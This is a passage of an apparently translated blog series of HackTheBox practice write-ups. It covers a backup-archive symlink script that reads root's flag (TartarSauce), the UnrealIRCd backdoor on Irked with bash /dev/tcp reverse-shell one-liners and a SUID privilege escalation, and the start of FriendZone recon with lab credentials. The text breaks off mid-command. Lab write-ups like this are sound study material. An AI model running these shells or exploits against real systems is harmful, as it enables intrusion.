1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# work out of shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /dev/shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# set both start and cur equal to any backup file if it&amp;#39;s there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# loop until there&amp;#39;s a change in cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for archive filename to change...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while [ &amp;#34;$start&amp;#34; == &amp;#34;$cur&amp;#34; -o &amp;#34;$cur&amp;#34; == &amp;#34;&amp;#34; ] ; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 10;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Grab a copy of the archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;File changed... copying here&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp $cur .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# get filename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fn=$(echo $cur | cut -d&amp;#39;/&amp;#39; -f4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# extract archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -zxf $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove robots.txt and replace it with link to root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ln -s /root/root.txt var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove old archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# create new archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar czf $fn var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# put it back, and clean up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv $fn $cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -rf var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# wait for results&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for new logs...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tail -f /var/backups/onuma_backup_error.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I read through the code.&lt;/p&gt;&#10;&lt;p&gt;It gets files in that directory whose names start with a dot, then hard-codes the result. An infinite loop checks for changes: if the file list has not changed, it keeps looping; if it has changed, it assigns the result to cur, moves the target file into the working directory defined above, extracts it, deletes robots.txt, replaces it with an ln link to /root/root.txt, moves and renames the file, and deletes the temporary files.&lt;/p&gt;&#10;&lt;p&gt;As for why onuma_backup_error.txt contains the flag, the answer is all in backeruperer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;errormsg is defined as this file.&lt;/p&gt;&#10;&lt;p&gt;The integrity_chk function calls diff -r, which compares every directory and file and also outputs any differences it encounters.&lt;/p&gt;&#10;&lt;p&gt;Here it writes the error information to errormsg, which is the onuma_backup_error.txt file from earlier.&lt;/p&gt;&#10;&lt;p&gt;That is how the flag can be obtained.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This script&amp;rsquo;s logic is so clear that it almost feels like the author wrote it.&lt;/p&gt;&#10;&lt;p&gt;This one machine took me from the afternoon until the evening, and I ran into a huge number of pitfalls. At least this was not the exam and I learned a lot; hitting these problems during the exam would be fatal.&lt;/p&gt;&#10;&lt;h2 id="8irked"&gt;&lt;a href="#8irked" class="header-anchor"&gt;&lt;/a&gt;8.Irked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Connect to ssh and see whether it provides any hints.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Check port 80.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;I had forgotten about irc, so I searched and found that I had used it before: &lt;a class="link" href="https://en.wikipedia.org/wiki/IRC" target="_blank" rel="noopener"&#10; &gt;https://en.wikipedia.org/wiki/IRC&lt;/a&gt;. hexchat is a chat tool. The target had the default port 6697 open, along with ports 8067 and 65534. The version was UnrealIRCd, and the administrator&amp;rsquo;s email address was also available.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;4.ircbind &lt;a class="link" href="https://blog.csdn.net/ichen820/article/details/120365560" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/ichen820/article/details/120365560&lt;/a&gt; is a good article. It is related to nfs, but the nfs port was not open.&lt;/p&gt;&#10;&lt;p&gt;I checked all of it.&lt;/p&gt;&#10;&lt;p&gt;ssh had nothing. Port 80 had a manual page, and brute-forcing did not reveal anything either.&lt;/p&gt;&#10;&lt;p&gt;I looked into irc; just launch hexchat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The list contained nothing. I checked every port; they all exposed the same service.&lt;/p&gt;&#10;&lt;p&gt;While brute-forcing port 80, I also checked for framework vulnerabilities. Only UnrealIRCd had one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read the code. It was a perl script where you just fill in the parameters, and it was not difficult to understand.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of the included URLs worked anymore, so just construct the payload yourself.&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1'&lt;/p&gt;&#10;&lt;p&gt;I sent the payload to all three ports with no effect at all. I searched for ages afterward and could not find anything. I was completely out of options.&lt;/p&gt;&#10;&lt;p&gt;I checked a write-up, and it used this exact payload. I tried again, and it still did not work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only later did I learn that everyone either sent it manually or wrote their own script. Mine simply would not connect because the script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Sometimes, when a simple exp does not work, you can construct it manually.&lt;/p&gt;&#10;&lt;p&gt;I learned my lesson: I could not use the included script. There was also an msf exp, but it is best not to use that for oscp.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the code and see how to construct it manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In this section, a tcp socket connects to the target ip/port, and reports an error if the connection fails.&lt;/p&gt;&#10;&lt;p&gt;Once connected, it calls the socket to send data, which is the previous payload. Leave its payload as unchanged as possible and simply add AB; in front.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target was far too slow. The perl script sends the exp as soon as it connects, but how could it execute immediately? It needs to wait. I suspected the lag was the problem, and adding a sleep made the script work after all.&lt;/p&gt;&#10;&lt;p&gt;Sure enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still had not analyzed it thoroughly enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wasted a great deal of time here. The exp author probably did not account for this.&lt;/p&gt;&#10;&lt;p&gt;Now start privilege escalation. First, open another shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6666 &amp;lt;&amp;amp;1&amp;rsquo; &amp;gt; cmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;I reviewed every conf file in the current directory but found no useful information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was also a djmardov home directory, so I most likely needed to pivot to that user.&lt;/p&gt;&#10;&lt;p&gt;I found an exp based on the version, but it had no effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found nothing, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;pspy32 did not reveal anything interesting either.&lt;/p&gt;&#10;&lt;p&gt;An interesting conventional privilege-escalation route: su could not be used and sudo did not exist. Based on su&amp;rsquo;s message, we needed to log in through a terminal. My rough idea was to write a private key and see whether that worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The configuration was fine, and the file was writable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate a public/private key pair.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Rename the public key and upload it to the server. The name must be the default, authorized_keys.&lt;/p&gt;&#10;&lt;p&gt;The connection failed, so I debugged it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a version issue. Generate the key pair again.&lt;/p&gt;&#10;&lt;p&gt;ssh-keygen -t rsa -t ed25519 -f ./new_temp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Good. Now I still needed a password.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;user.txt was inaccessible, and its target was also user.txt in the parent directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Based on the steg hint, I had tried using this to access the large image at the very beginning, but it did not work. Let&amp;rsquo;s try again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no password and nothing came out, so I ignored it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found a service I had never seen before, and it had the s permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Forging the file worked, giving root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed it. None of the tool-related parts were difficult because I already knew how to use them. I still need to improve my thought process. On machines like this, every piece of information has to be collected, but sometimes collecting too much makes everything look suspicious. I need to be more careful.&lt;/p&gt;&#10;&lt;h2 id="9friendzone"&gt;&lt;a href="#9friendzone" class="header-anchor"&gt;&lt;/a&gt;9.FriendZone&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;21/tcp open ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;53/tcp open domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| http-enum:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| /wordpress/: Blog&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_ /robots.txt: Robots file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;443/tcp open https&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I finished testing everything. Here are the conclusions.&lt;/p&gt;&#10;&lt;p&gt;21 did not allow anonymous login and offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;22 offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;53 was a dns server. I could test domain names and similar things later. On machines like those in oscp, every service has a purpose.&lt;/p&gt;&#10;&lt;p&gt;80 contained an empty wordpress site and revealed one domain: friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;139/445 exposed a samba service. Try connecting to it.&lt;/p&gt;&#10;&lt;p&gt;443 exposed an https service, but there was nothing there.&lt;/p&gt;&#10;&lt;p&gt;samba contained an unauthenticated shared file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;creds for the admin THING:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:WORKWORKHhallelujah@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This password did not work for ssh, ftp, or samba.&lt;/p&gt;&#10;&lt;p&gt;I had just collected a domain name. With the suffix now known, add it to hosts.&lt;/p&gt;&#10;&lt;p&gt;friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there. The dns server could help us look it up, so send a request directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig @10.10.10.123 